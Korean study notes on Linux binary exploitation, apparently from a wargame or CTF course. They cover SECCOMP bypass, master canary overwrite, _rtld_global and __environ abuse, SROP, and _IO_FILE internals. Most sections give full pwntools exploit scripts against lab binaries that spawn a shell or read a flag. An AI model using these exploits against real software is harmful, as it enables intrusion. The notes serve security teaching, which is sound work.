- SECCOMP는 특정 시스템 콜을 허용하거나 차단하여 의도하지 않은 시스템 콜의 호출을 막는 방어 기법이다. 하지만 시스템의 지속적인 개발에 의해 유사한 역할을 하는 다른 시스템콜들이 계속 생겨나고 있다.
- 예를들어 open 과 openat 은 동일한 역할을 수행하며,
open
을 차단한 프로그램이openat
을 차단하지 않았다면 이를 이용한 해킹이 가능하다. - 하지만, 시스템 콜 간에도 의존성이 있기 때문에 의존성이 있는 시스템 콜이 차단된 경우에는 우회가 불가능 될 가능성이 크다.
- 반대로 특정 라이브러리 함수에 의존하는 함수를 SECCOMP 설정으로 허용 해 놓는다면, 그 함수 또한 허용 되어 있음을 암시적으로 알 수 있다.
execve
함수는 내부적으로openat
함수를 호출하고 있다.
open
,read
,write
는 타 시스템 콜의 영향을 받지 않고 실행할 수 있는 함수이다.
- 예를들어 open 과 openat 은 동일한 역할을 수행하며,
exploit 예시
open
함수를 막는 형태의 소스코드가 있을 떄,openat
를 사용하여 파일을 탈취하는 공격 방식이다.- 코드 일부:
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
- 단,
openat
은 첫 번째 인자를AT_FDCWD
로 설정해야 open과 동일한 효과를 낸다.openat
은 첫 번쨰 인자로 받은 file descriptor 에 해당하는 디렉터리에서 부터 상대 주소를 검색한다. 첫 번쨰 인자로AT_FDCWD
를 입력하면 현재 작업 디렉터리를 기준으로 상대 주소를 검색하게 된다.
- 코드 일부:
#!/usr/bin/env python3
from pwn import *
context.arch = 'x86_64' # 아키텍처 설정
# p = process('./bypass_seccomp')
data = shellcraft.openat('AT_FDCWD', "./flag") # AT_FDCWD 옵션을 넣어 현재 경로부터 상대 경로를 검색하도록 설정
data += 'mov r10, 0xffff' # r10은 sendfile 호출시 전달할 데이터의 양을 뜻한다.
data += shellcraft.sendfile(1, 'rax', 0).replace('xor r10d, r10d','')# sendfile 호출시 `xor r10d, r10d` 구문이 자동으로 들어가서 r10을 초기화하므로 이를 제거한다.
# data += shellcraft.exit(0)
# print(data)
data = asm(data)
# print(data)
p.sendlineafter(b"shellcode:", data)
p.interactive()
Master Canary
앞서 SSP(Stack Smash Protector) 의 한 종류로 stack canary를 배웠고, canary는 TLS(Thread Local Storage) 의 데이터를 사용하여 만들어진다.
TLS
영역은text
,bss
영역과 달리 로더에서 생성하는 영역이다.로더에서
TLS
영역을 생성은init_tls
->dl_allocate_tls_storage
함수에 의해 할당되고,arch_prctl
시스템 콜에서ARCH_SET_FS
명령을 호출하여FS segment register
가TLS
영역을 가리키도록 초기화 한다.한 프로그램의 모든
Stack Canary
는FS segment register
의 0x28 번지에 위치하는 값을 사용하는데, FS segment는 TLS 로 초기화 되므로, FS:0x28 의 값은 TLS:0x28 의 값이다.- gdb 에서
$fs_base
값은FS segment register
를 의미한다.p/x $fs_base
명령으로FS segment register
의 값을 확인 할 수 있다.
- gdb 에서
때문에 “TLS 주소에 0x28 바이트 만큼 떨어진 주소에 위치한 값”(TLS:0x28) 을
Master Canary
라 부른다.canary 는 시스템의 pointer 크기와 같은 크기를 가지며, 첫 byte는 NULL 이다.
_dl_setup_stack_chk_guard
함수에서 endian 에 따라 첫 byte를 NULL 로 설정한다.THREAD_SET_STACK_GUARD
매크로에서 TLS + 0x28 위치에 canary 값을 삽입한다.
main thread 외 별도로 생성한 thread 에서 선언한 변수는 TLS 와 근접한 영역에 선언된다. 또한, 이 영역은
FS segment register
보다 낮은 주소에 위치하므로 master canary 의 값을 buffer overflow로 덮어 쓸 수 있다.
exploit 예시
- 전제조건 : thread에 선언한 버퍼에 buffer overflow를 발생할 수 있다.
- exploit 순서
- 디버깅을 통해 matser canary 와 버퍼 사이의 간격을 확인한다.
- code 상에서 buffer 가 사용되는 부분을 어셈블리어에서 확인한다.
// 원본 함수 void thread_routine() { char buf[256]; int size = 0; printf("Size: "); scanf("%d", &size); printf("Data: "); read_bytes(buf, size); } // disass 결과 0x0000000000401347 <+52>: call 0x4010f0 <printf@plt> 0x000000000040134c <+57>: lea rax,[rbp-0x114] 0x0000000000401353 <+64>: mov rsi,rax 0x0000000000401356 <+67>: lea rdi,[rip+0xcb6] # 0x402013 0x000000000040135d <+74>: mov eax,0x0 0x0000000000401362 <+79>: call 0x401150 <__isoc99_scanf@plt> 0x0000000000401367 <+84>: lea rdi,[rip+0xca8] # 0x402016 0x000000000040136e <+91>: mov eax,0x0 0x0000000000401373 <+96>: call 0x4010f0 <printf@plt> 0x0000000000401378 <+101>: mov edx,DWORD PTR [rbp-0x114] // read_bytes 에서 사용될 첫 번째 인자 'buf' 가 rax 에 적용 될 것이며, 이는 [rbp-0x110] 값이 대응된다. 0x000000000040137e <+107>: lea rax,[rbp-0x110] 0x0000000000401385 <+114>: mov esi,edx 0x0000000000401387 <+116>: mov rdi,rax 0x000000000040138a <+119>: call 0x4012be <read_bytes>
- gdb 에서 thread_routine 함수까지 실행시킨 다음
$fs_base + 0x28
위치(canary가 저장된FS segment register
)의 주를 확인하고, overflow 가능한 버퍼와 거리를 측정한다.
pwndbg> p/x ($rbp - 0x110) $1 = 0x7ffff7da3de0 pwndbg> p/x ($fs_base + 0x28) $2 = 0x7ffff7da4728 pwndbg> p/x 0x7ffff7da4728 - 0x7ffff7da3de0 $3 = 0x948
- 버퍼에서 부터 canary까지(rbp - 0x110 ~ $fs_base + 0x28 + 0x8) 임의의 값(‘AAAA…’)으로 채워넣게 되면 SIGSEGV 에 의한 core dump가 발생할 수 있다.
- Coredump 확인 방법
- stack 에서 버퍼 다음에는 다른 지역변수 값이 있을 텐데, 이를 모두 ‘AAAA…’ 로 채울 경우 변수 참조시 에러가 발생할 수 있다.
- thread 생성시 호출되는
__pthread_disable_asynccancel
함수에서struct pthread *self = THREAD_SELF;
지역변수를 생성하고,self->canceltype = PTHREAD_CANCEL_DEFERRED
구문을 호출한다. self->canceltype
의 주소가 ‘AAAA…’ 로 덮어써지면 segment fault 가 발생한다.- gdb 명령어로
p &((struct pthread *) $fs_base)->header.self
를 입력하여 이 값을 확인할 수 있다. - THREAD_SELF 는 스레드의 Thread Descriptor을 가리키는 매크로이다.
- gdb 명령어로
- 버퍼로부터
($fs_base)->header.self->canceltype
위치까지의 거리를 계산하고,self->canceltype
이 rw 권한이 있는 곳을 가리키도록 버퍼에 적당한 값을 집어넣는다.- disass 결과에 의하면
__pthread_disable_asynccancel
함수의 어셈블리 코드mov byte ptr [rax + 0x972], 0
구문이 canceltype 을 대입하는 부분이고, 이떄 rax 는fs
값이 채워져 있다. - 즉, “버퍼에서 self 까지의 거리” + 0x972 가 self->canceltype 의 주소이다.
- disass 결과에 의하면
vmmap
명령어로 실행파일을 분석하여 rw 권한이 모두 존재하는 영역의 주소를 찾는다.
- 프로그램 실행에 최대한 영향을 주지 않게 하기 위해 주소의 중간 영역을 임의로 골라 self->canceltype 의 주소값이 rw 권한을 가질 수 있게 버퍼를 조정한다.
- ex)
# payload 가 (rbp - 0x110) ~ ($fs_base + 0x28) 영역을 덮어쓰도록 구성한다. payload = b'A'*0x910 # buffer ~ self 까지 거리 payload += p64(0x404800 - 0x972) # self->canceltype 에 들어갈 주소 (rw권한 존재) payload += b'C' * 0x10 # 남는영역 마저 채우기 () payload += p64(0x4141414141414141) # master canary 영역
- ex)
- return 주소에 exploit 을 위한 함수가 호출되도록 변경
- ex)
p = process('./mc_thread2') elf = ELF('./mc_thread') payload = b'A' * 264 # buffer ~ 지역변수 영역 payload += b'A' * 8 # canary payload += b'B' * 8 # SFP payload += p64(elf.symbols['giveshell']) # return address (exploit 을 위한 함수로 변경) payload += b'C' * (0x910 - len(payload)) # master canary 영역을 변조시키기 위한 dummy payload += p64(0x404800 - 0x972) # self->canceltype 를 적용 할 때 발생하는 SIGSEGV 를 없애기 위한 처리 payload += b'C' * 0x10 # 나머지 영역 dummy 로 채우기 payload += p64(0x4141414141414141) # master canary 변조 p.sendafter(b'Data: ', payload) p.interactive()
- 디버깅을 통해 matser canary 와 버퍼 사이의 간격을 확인한다.
Overwrite _rtld_global
- glibc 라이브러리를 포함하여 컴파일 한 프로그램은 실행시
__libc_start_main
가 호출된다.__libc_start_main
는main
함수를 호출한다.main
함수가 종료되면__GI_exit
함수가 호출된다.__GI_exit
함수는__run_exit_handlers
함수를 호출한다.__run_exit_handlers
함수에서는exit_function
구조체의fns
인자를 호출하는데, 이는_dl_fini
를 호출하게 되어있다._dl_fini
함수는_dl_load_lock
을 인자로dl_rtld_lock_recursive
함수를 호출한다._dl_load_lock
은_rtld_global
구조체의 멤버 변수이다.dl_rtld_lock_recursive
함수도_rtld_global
구조체의 멤버 변수이다.- glibc 2.27 기준,
_rtld_global
구조체의dl_rtld_lock_recursive
포인터 가 저장된 메모리는 읽기/쓰기 권한이 모두 부여되어 있기 때문에 이 함수를 덮어써서 exploit 을 수행 할 수 있다. - 쓰기 권한을 부여한 이유는
dl_main
함수에서_rtld_global
구조체의dl_rtld_lock_recursive
영역을 초기화 할 수 있게 하기 위함이었다.
_rtld_global
구조체의 주소를 확인하고,_dl_load_lock
과dl_rtld_lock_recursive
의 포인터를 덮어 써서 exploit 을 할 수 있다.
exploit 예시
- 전제조건 :
- 실행중 라이브러리 함수 혹은 변수의 주소를 획득 할 수 있어야 한다.
- (예시 코드에서는 stdout 코드를 일부러 출력 해 준다.)
- ex)
printf("stdout: %p\n", stdout);
- 특정 주소에 데이터를 주입하는 구문이 존재한다.
- ex)
printf("addr: "); scanf("%ld", &addr); // 주소 입력 printf("data: "); scanf("%ld", &data); // 데이터 팁력 *(long long *)addr = data; // 주소가 가리키는 값에 데이터 저장
- ex)
- 실행중 라이브러리 함수 혹은 변수의 주소를 획득 할 수 있어야 한다.
- exploit 방법 :
exploit 대상 시스템이 사용하는 라이브러리 파일을 준비한다.
ldd
명령으로 라이브러리 의존성을 확인한다.linux-vdso.so.1 (0x00007fff96777000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcdb0aa5000) /lib64/ld-linux-x86-64.so.2 (0x00007fcdb1098000)
- patchelf 도구를 사용하여 ld 및 libc 라이브러리 의존성을 변경한다.
patchelf --set-interpreter {라이브러리} {실행파일}
명령으로 실행파일에 적용될 라이브러리를 변경 가능하다. (ld 라이브러리 적용)
export LD_PRELOAD=$(realpath {라이브러리_파일})
명령으로 라이브러리 파일의 참조 위치도 변경한다. (libc 라이브러리 적용)
실행 파일에서 libc 라이브러리의 offset을 구한다.
- 코드에서
stdout
을 호출했으므로, libc 파일이 로드 되었을 것이다. .bss
영역에 libc 영역이 포함되고,gdb
에서vmmap
명령으로libc*
형태의 파일이 처음 시작하는 offset을 추출할 수 있다.0x7ffff79e4000 0x7ffff7bcb000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
- 코드에서
ld 라이브러리의 base offset을 구한다.
- 마찬가지로
gdb
에서vmmap
명령으로ld*
파일의 시작 offset을 찾는다.0x7ffff7dd5000 0x7ffff7dfc000 r-xp 27000 0 /volume/pwn/lecture/rtld_global/ld-2.27.so
- 마찬가지로
_rtld_global
구조체 멤버들의 offset을 확인한다.- libc 라이브러리 파일을 실행시켜서 버전을 확인한다.
$ ./libc-2.27.so GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27. Copyright (C) 2018 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 7.3.0. libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
- “2.27-3ubuntu1” 구문이 libc 의 상세 버전인데, 해당 버전의 debug package 를 획득항혀야 한다.
- 구글에 검색하여 획득 하면 된다. (https://launchpad.net/ubuntu/bionic/amd64/libc6-dbg/2.27-3ubuntu1) or (http://launchpadlibrarian.net/365856914/libc6-dbg_2.27-3ubuntu1_amd64.deb)
- 획득한 .deb 파일을
dpkg -x
명령으로 압축을 해제한 후, 압축 해제된usr/lib/debug/lib/x86_64-linux-gnu/ld-2.27.so
파일을 gdb로 실행한다. _rtld_global
구조체의 멤버 변수_dl_load_lock
,_dl_rtld_lock_recursive
가 필요하므로 아래와 같이 두 변수의 주소를 확인한다.pwndbg> p &_rtld_global._dl_load_lock $1 = (__rtld_lock_recursive_t *) 0x228968 <_rtld_local+2312> pwndbg> p &_rtld_global._dl_rtld_lock_recursive $2 = (void (**)(void *)) 0x228f60 <_rtld_local+3840>
- libc 라이브러리 파일을 실행시켜서 버전을 확인한다.
exploit 코드를 작성한다.
- libc_base 의 offset 을 구한다. libc 파일의 ELF에서
_IO_2_1_stdout_
심볼로 획득 가능하다. - libc_base 와 ld_base 의 offset 차이를 이용해 ld_base의 주소를 구한다.
- 2,3번 과정에서 구한 주소를 서로 빼서 간격을 구한다. (예시에서는 0x3f1000 만큼 차이가 난다.)
- _rtld_global 의 주소를 구한다. ld 파일의 ELF에서
_rtld_global
심볼로 offset 을 획득하고, ld_base 주소를 더해_rtld_global
의 실제 주소를 구한다. - 4에서 구한 _rtld_global 구조체의 멤버변수
_dl_load_lock
,_dl_rtld_lock_recursive
의 offset 을_rtld_global
주소에 더해 각 변수가 메모리에 적재된 주소를 구한다. - exploit 을 위해
_dl_rtld_lock_recursive
변수를 libc 라이브러리의system
함수로 덮어쓰고,dl_load_lock
를 “sh” 로 치환한다.- 앞서 Overwrite _rtld_global 에서 살펴보았듯, main 함수가 종료될 때
_dl_rtld_lock_recursive(dl_load_lock)
형태로 함수가 호출되는 점을 이용한 것
- 앞서 Overwrite _rtld_global 에서 살펴보았듯, main 함수가 종료될 때
- libc_base 의 offset 을 구한다. libc 파일의 ELF에서
- 최종 코드
#!/usr/bin/env python3 from pwn import * p = process('./ow_rtld', env= {"LD_PRELOAD" : "./libc-2.27.so"}) # {"LD_LIBRARY_PATH" : "."} 구문으로도 가능 libc = ELF('./libc-2.27.so') ld = ELF('./ld-2.27.so') # gdb를 통해 획득한 정보 LIBC_BASE_OFFSET = 0x3f1000 DL_LOAD_LOCK_OFFSET_FROM_RTLD_GLOBAL = 2312 DL_RTLD_LOCK_RECURSIVE_OFFSET_FROM_RTLD_GLOBAL = 3840 # exploit 코드 p.recvuntil(b': ') stdout = int(p.recvuntil(b'\n'), 16) # stdout 변수의 주소 획득 libc_base = stdout - libc.symbols['_IO_2_1_stdout_'] # libc_base 주소 획득 ld_base = libc_base + 0x3f1000 # ld_base 주소 계산 print('libc_base:', hex(libc_base)) print('ld_base:', hex(ld_base)) rtld_global = ld_base + ld.symbols['_rtld_global'] # _rtld_global 주소 획득 dl_load_lock = rtld_global + DL_LOAD_LOCK_OFFSET_FROM_RTLD_GLOBAL # _dl_load_lock 주소 계산 dl_rtld_lock_recursive = rtld_global + DL_RTLD_LOCK_RECURSIVE_OFFSET_FROM_RTLD_GLOBAL # _dl_rtld_lock_recursive 주소 >계산 print('rtld_global:', hex(rtld_global)) print('dl_load_lock:', hex(dl_load_lock)) print('dl_rtld_lock_recursive:', hex(dl_rtld_lock_recursive)) system = libc_base + libc.symbols['system'] # system 함수의 주소 획득 print('system:', hex(system)) # _dl_rtld_lock_recursive 주소에 system 함수 덮어쓰기 p.sendlineafter(b'> ', b'1') p.sendlineafter(b'addr: ', str(dl_rtld_lock_recursive).encode()) p.sendlineafter(b'data: ', str(system).encode()) # dl_load_lock 주소에 "/bin/sh" 문자열 덮어쓰기 p.sendlineafter(b'> ', b'1') p.sendlineafter(b'addr: ', str(dl_load_lock).encode()) p.sendlineafter(b'data: ', str(u64('/bin/sh\x00')).encode()) # main 함수 종료 p.sendlineafter(b'> ', b'2') p.interactive()
__environ
- 환경변수는 동적인 값들의 모임으로 시스템의 동작에 관한 정보를 저장하는 변수이다.
- 환경변수는 사용자에 의해 수정 및 삭제가 가능하다.
- 프로그램도 실행 시 환경변수를 참조한다. 프로그램을 실행시키면 스택 영역에 환경변수 정보가 탑재된다.
- 라이브러리 함수도 스택 영역의 환경변수를 참조하기 때문에, 이를 이용하면 환경변수가 존재하는 스택 영역의 주소를 추출 할 수 있다.
execve
,getenv
등의 함수가 환경변수를 참조한다.- libc.so 파일의
elf
를 분석하면__environ
이라는 변수가 존재한다.$ readelf -s ./libc.so.6 | grep "environ" 133: 0000000000221200 8 OBJECT WEAK DEFAULT 35 _environ@@GLIBC_2.2.5 724: 0000000000221200 8 OBJECT GLOBAL DEFAULT 35 __environ@@GLIBC_2.2.5 958: 0000000000221200 8 OBJECT WEAK DEFAULT 35 environ@@GLIBC_2.2.5
- gdb 에서
__environ
변수를 확인 해 보면 stack 영역에 자리잡고 있음을 알 수 있다.pwndbg> x/g __environ 0x7fffffffe6c8: 0x00007fffffffe8cb pwndbg> vmmap 0x00007fffffffe6c8 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] +0x206c8
exploit 예시
전제조건:
stdout
변수의 주소값을 알 수 있다. (예시에서는 일부러 출력해 줌)- 탈취할 파일을 프로그램에서 읽어서 버퍼에 저장한다.
- 임의 주소 읽기 취약점이 존재한다.
-> 임의 주소 읽기로 정보 탈취 가능scanf("%ld", &addr); printf("%s", (char *)addr);
exploit 방법:
libc_base 의 주소를 계산한다.
stdout
포인터의 주소값과 offset 값을 비교하여 libc_base 의 주소값을 구한다.
__environ
변수의 주소값을 구한다.- libc_base 주소값에서
__environ
변수의 offset 을 더하여 구한다.
- libc_base 주소값에서
탈취할 데이터가 저장된 주소를 계산한다.
- 프로그램에서
read
함수를 이용해 데이터를 읽어 오므로,read
함수 호출시RCX
레지스터의 주소를 확인하면 데이터가 저장되는 값의 주소를 알 수 있다. - gdb 를 통해
read
함수 호출 당시RCX
레지스터의 주소를 확인하고, 이를__environ
변수의 주소와 비교하여 offset 을 구한다.0x555555400a21 <read_file+43> call open@plt <open@plt> 0x555555400a26 <read_file+48> mov dword ptr [rbp - 0x1014], eax 0x555555400a2c <read_file+54> lea rcx, [rbp - 0x1010] ► 0x555555400a33 <read_file+61> mov eax, dword ptr [rbp - 0x1014] 0x555555400a39 <read_file+67> mov edx, 0xfff 0x555555400a3e <read_file+72> mov rsi, rcx 0x555555400a41 <read_file+75> mov edi, eax 0x555555400a43 <read_file+77> call read@plt <read@plt> ... pwndbg> x/g $rcx 0x7fffffffd190: 0 pwndbg> x/g $rcx 0x7fffffffd190: 0 pwndbg> p/x 0x7fffffffe6c8 - 0x7fffffffd190 $1 = 0x1538
- 예시에서는 offset 이 0x1538이다.
- 프로그램에서
추출한 주소에 저장된 값을 임의 주소 읽기 취약점으로 획득한다.
전체 코드
#!/usr/bin/env python3 from pwn import * p = process('./environ') elf = ELF('/lib/x86_64-linux-gnu/libc.so.6') # GDB를 통해 확인한 정보 OFFSET_FROM_ENVIRON_TO_BUFFER = 0x1538 p.recvuntil(b'stdout: ') stdout = int(p.recvuntil(b'\n'), 16) # stdout 주소 획득(편의를 위해 예시에서 제공) libc_base = stdout - elf.symbols['_IO_2_1_stdout_'] # libc_base 주소 계산 libc_environ = libc_base + elf.symbols['__environ'] # __environ 변수 주소 계산 print('libc_base:', hex(libc_base)) print('libc_environ:', hex(libc_environ)) # 임의 주소 읽기를 위한 값 입력 p.sendlineafter(b'> ', b'1') print('encoded libc_environ:', str(libc_environ).encode()) p.sendlineafter(b'Addr: ', str(libc_environ).encode()) # __environ 변수가 가리키는 값 출력 유도 stack_environ = p.recv(6) print('raw stack_environ:', stack_environ) stack_environ = u64(stack_environ.ljust(8, b'\x00')) # printf("%s", (char *)addr); 에서 전달된 값 파>싱 # stack_environ 은 __environ 변수가 가리키는 stack 의 주소 print('stack_environ:', hex(stack_environ)) file_content = stack_environ - OFFSET_FROM_ENVIRON_TO_BUFFER # 데이터가 저장된 stack 주소 계산 print('file_content:', hex(file_content)) # 임의 주소 읽기를 위한 값 입력 p.sendlineafter(b'> ', b'1') p.sendlineafter(b':', str(file_content).encode()) # 최종적으로 원하는 값 획득 p.interactive()
SigReturn-Oriented Programming (SROP)
운영체제는
User Mode
와Kernel Mode
가 존재하고, 각 모드에서 수행할 수 있는 동작의 제약이 다르다.시그널이 발생하면 시그널에 해당하는 코드가
Kernel Mode
에서 실행되고, 다시Usesr Mode
로 시스템의 흐름이 전환된다.Kernel Mode
에서User Mode
로 전환되기 위해서는 Signal 이 발생한 시점의 프로그램 정보(레지스터, 메모리, 등) 가 기록되어야 한다.Signal 이 발생하면
arch_do_signal_or_restart
함수가 호출된다. 함수 이름은 Linux 버전에 따라 상이할 수 있다.do_signal
(Linux 5.8 이하)arch_do_signal
(Linux 5.10 이하)arch_do_signal_or_restart
(Linux 5.10 초과)
arch_do_signal_or_restart
함수는get_signal
을 호춣하고, signal handler 가 등록되어 있다면handle_signal
->setup_rt_frame
->signal_setup_done
을 차례로 호출한다.setup_rt_frame
함수는setup_rt_frame(ksig, regs)
형태로 호출되는데,regs->si
,regs->dx
,regs->ip
,regs->sp
에 알맞은 값을 집어넣어 등록한 signal handler 함수가 호출될 수 있도록 설정한다.
Kernel Mode
에서User Mode
로 context switching 을 하기 위해서는 signal을 처리하기 전에sigreturn
시스템 콜을 호출하여 당시 프로그램 정보를 기록한다.sigreturn
이 호출되면restore_sigcontext
함수에서 현재 스택의 값을 레지스터에 복제한다. 이렇게 기록된 값을 사용하여 signal 발생 직전의 상태로 context switching 을 수행할 수 있다.sigcontext
구조체에 있는 각 멤머 변수에 데이터를 삽입하는데, 이는 레지스터에 데이터를 집어넣는 것이라 보면 된다.
SROP
란, 위에서 설명한sigreturn
시스템 콜을 사용한ROP (Return Oriented Programming)
기법으로, 스택에 임의의 값을 미리 채워놓고,sigreturn
호출을 유도한 이후User Mode
로 context switching 될 때 원하는 함수가 실행되도록 하는 exploit 방법이다.
exploit 예시
buffer overflow를 이용하여
sigreturn
이 호출되도록 gadget 을 주입한다.sigreturn
시스템콜은 15번 system call 이기 때문에, stack overflow 를 발생시켜 RIP 레지스터에pop rax; syscall; ret
가젯을 집어넣고, RAX 레지스터를 15 로 변경하면, 함수 stack 이 종료될 때sigreturn
시스템 콜이 호출된다.
“/bin/bash” 문자열을 주입하기 위해
sigreturn
으로read(0, bss, 0x1000)
를 먼저 호출한다.bss 에 저장된 데이터를 활용하여
sigreturn
를 한번 더 호출해execve("/bin/bash")
구문이 실행되도록 한다.
- 전체 코드
from pwn import * context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'x86_64' p = process('srop') elf = ELF('./srop') gadget = next(elf.search(asm('pop rax; syscall'))) # 코드상에 있는 내용 사용한 것 print('gadget:', hex(gadget)) payload = b'A'*16 # BUFFER overflow payload += b'B'*8 # SFP payload += p64(gadget) # return address payload += p64(15) # sigreturn, pop rax 동작으로 rax에 채워질 값 # read(0, bss, 0x1000) 에 해당하는 gadget 생성, 충분한 길이를 위해 0x1000 byte read # read를 한번 더 수행해서 "/bin/bash" string 을 bss 영역에 입력하기 위해 gadget 세팅 bss = elf.bss() syscall = next(elf.search(asm('syscall'))) frame = SigreturnFrame() frame.rdi = 0 # argv1 frame.rsi = bss # argv2 frame.rdx = 0x1000 # argv3 frame.rax = 0 # SYS_read frame.rip = syscall # syscall 명령어 실행 frame.rsp = bss # stack 주소를 bss 위치로 변경 payload += bytes(frame) # sigcontext 값 주입 p.sendline(payload) # overflow 유발 # execve('/bin/sh', 0, 0) 에 해당하는 gadget 생성 frame2 = SigreturnFrame() # frame2.rdi = bss + ? # argv1, '/bin/sh' 가 담긴 위치를 넣어야 한다. # rsi, rdx는 default 로 0 frame2.rip = syscall # syscall 명령어 실행 frame2.rax = 0x3b # execve 번호 frame2.rsp = bss + 0x500 # 충분한 버퍼를 두고 stack의 top을 bss 위치로 이동 rop = p64(gadget) # sigreturn 호출하기 위한 gadget rop += p64(15) # RAX로 pop 될 위치에 sigreturn 번호 주입 frame2.rdi = bss + len(frame2) + len(rop) # bss + 0x108, argv1, '/bin/sh' 가 담긴 위치. print('rdi:', bss, '+', len(frame2) + len(rop)) rop += bytes(frame2) # sigcontext 값 주입 rop += b'/bin/sh\x00' p.sendline(rop) # 호출된 reaed(0, bss, 0x1000) 함수에 의한 입력값 입력 p.interactive()
_IO_FILE
fopen
으로 파일을 열면 파일의 모드(read, write, …), 파일 작업을 위한 함수의 주소 등을 파일 포인터(FILE *
)로 전달받는다.- 표준 라이브러리의
FILE
구조체는 은typedef struct IO_FILE FILE
구문에 의해 정의된 것이며, 리눅스에서fopen
함수를 호출하면 힙 영역에_IO_FILE
구조체가 할당된다._IO_FILE
구조체 형태struct _IO_FILE { int _flags; /* 파일에 대한 읽기/쓰기/추가 권한. 0xfbad0000 값(_IO_MAGIC)을 매직 값으로, 하위 2바이트는 비트 플래그로 사용 */ char *_IO_read_ptr; /* 파일 읽기 버퍼 포인터 */ char *_IO_read_end; /* 파일 읽기 버퍼 주소의 끝 포인터 */ char *_IO_read_base; /* 파일 읽기 버퍼 주소의 시작 포인터 */ char *_IO_write_base; /* 파일 쓰기 버퍼에 대한 시작 포인터 */ char *_IO_write_ptr; /* 파일 쓰기 버퍼 포인터 */ char *_IO_write_end; /* 파일 쓰기 버퍼 주소의 끝 포인터 */ char *_IO_buf_base; /* Start of reserve area */ char *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; /* 파일 디스크립터 값 */ int _flags2; __off_t _old_offset; /* This used to be _offset but it's too small. */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock; /* _IO_USE_OLD_IO_FILE 가 정의되어있다면 여기까지만 사용 */ __off64_t _offset; /* Wide character stream stuff. */ struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf; size_t __pad5; int _mode; /* Make sure we don't get into trouble again. */ char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)]; };
fopen
함수를 호출하면_IO_new_file_fopen
에서mode
인자의 값이 ‘r’, ‘w’, ‘a’ 중 어느 것인지 확인하고 flag 에 비트를 할당한다.- flag 종류
#define _IO_MAGIC 0xFBAD0000 /* Magic number */ #define _IO_MAGIC_MASK 0xFFFF0000 #define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */ #define _IO_UNBUFFERED 0x0002 #define _IO_NO_READS 0x0004 /* Reading not allowed. */ #define _IO_NO_WRITES 0x0008 /* Writing not allowed. */ #define _IO_EOF_SEEN 0x0010 #define _IO_ERR_SEEN 0x0020 #define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */ #define _IO_LINKED 0x0080 /* In the list of all open files. */ #define _IO_IN_BACKUP 0x0100 #define _IO_LINE_BUF 0x0200 #define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */ #define _IO_CURRENTLY_PUTTING 0x0800 #define _IO_IS_APPENDING 0x1000 #define _IO_IS_FILEBUF 0x2000 /* 0x4000 No longer used, reserved for compat. */ #define _IO_USER_LOCK 0x8000
- flag 종류
_IO_FILE
구조체를 담고있는_IO_FILE_plus
구조체에는_IO_jump_t *vtable
포인터가 있는데, 이 포인터에 파일 처리 관련 동작을 수행하는 함수의 주소가 연결된다._IO_FILE_plus
형태struct _IO_FILE_plus { FILE file; const struct _IO_jump_t *vtable; };
- 모든 파일 관련 함수는 vtable 에 의해 호출된다.
# 64bit 운영체제 기준 크기 struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); # 8byte JUMP_FIELD(size_t, __dummy2); # 8byte JUMP_FIELD(_IO_finish_t, __finish); # 8byte JUMP_FIELD(_IO_overflow_t, __overflow); # 8byte JUMP_FIELD(_IO_underflow_t, __underflow); # 8byte JUMP_FIELD(_IO_underflow_t, __uflow); # 8byte JUMP_FIELD(_IO_pbackfail_t, __pbackfail); # 8byte /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); # 8byte JUMP_FIELD(_IO_xsgetn_t, __xsgetn); # 8byte JUMP_FIELD(_IO_seekoff_t, __seekoff); # 8byte JUMP_FIELD(_IO_seekpos_t, __seekpos); # 8byte JUMP_FIELD(_IO_setbuf_t, __setbuf); # 8byte JUMP_FIELD(_IO_sync_t, __sync); # 8byte JUMP_FIELD(_IO_doallocate_t, __doallocate); # 8byte JUMP_FIELD(_IO_read_t, __read); # 8byte JUMP_FIELD(_IO_write_t, __write); # 8byte JUMP_FIELD(_IO_seek_t, __seek); # 8byte JUMP_FIELD(_IO_close_t, __close); # 8byte JUMP_FIELD(_IO_stat_t, __stat); # 8byte JUMP_FIELD(_IO_showmanyc_t, __showmanyc); # 8byte JUMP_FIELD(_IO_imbue_t, __imbue); # 8byte };
- vtable 에 연결된 함수들은 모두 동적으로 할당되는 함수들이기 때문에 공격에 악용될 수 있다.
- 파일 관련 함수 중, 파일을 수정할 때 사용되는
fwrite
,fputs
등은 내부적으로_IO_sputn
함수를 호출하게 된다. _IO_sputn
->_IO_XSPUTN
->_IO_new_file_xsputn
->_IO_OVERFLOW
순서로 함수가 호출되며, 최종적으로_IO_new_file_overflow
가 호출된다._IO_new_file_overflow
에서는 아래 과정을 거쳐 함수 구조체에 값을 집어넣게 된다.if (f->_flags & _IO_NO_WRITES)
: 조건을 만족하면 EOF 반환후 종료
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
:f->_IO_write_ptr
,f->_IO_write_base
,f->_IO_write_end
,f->_IO_read_base
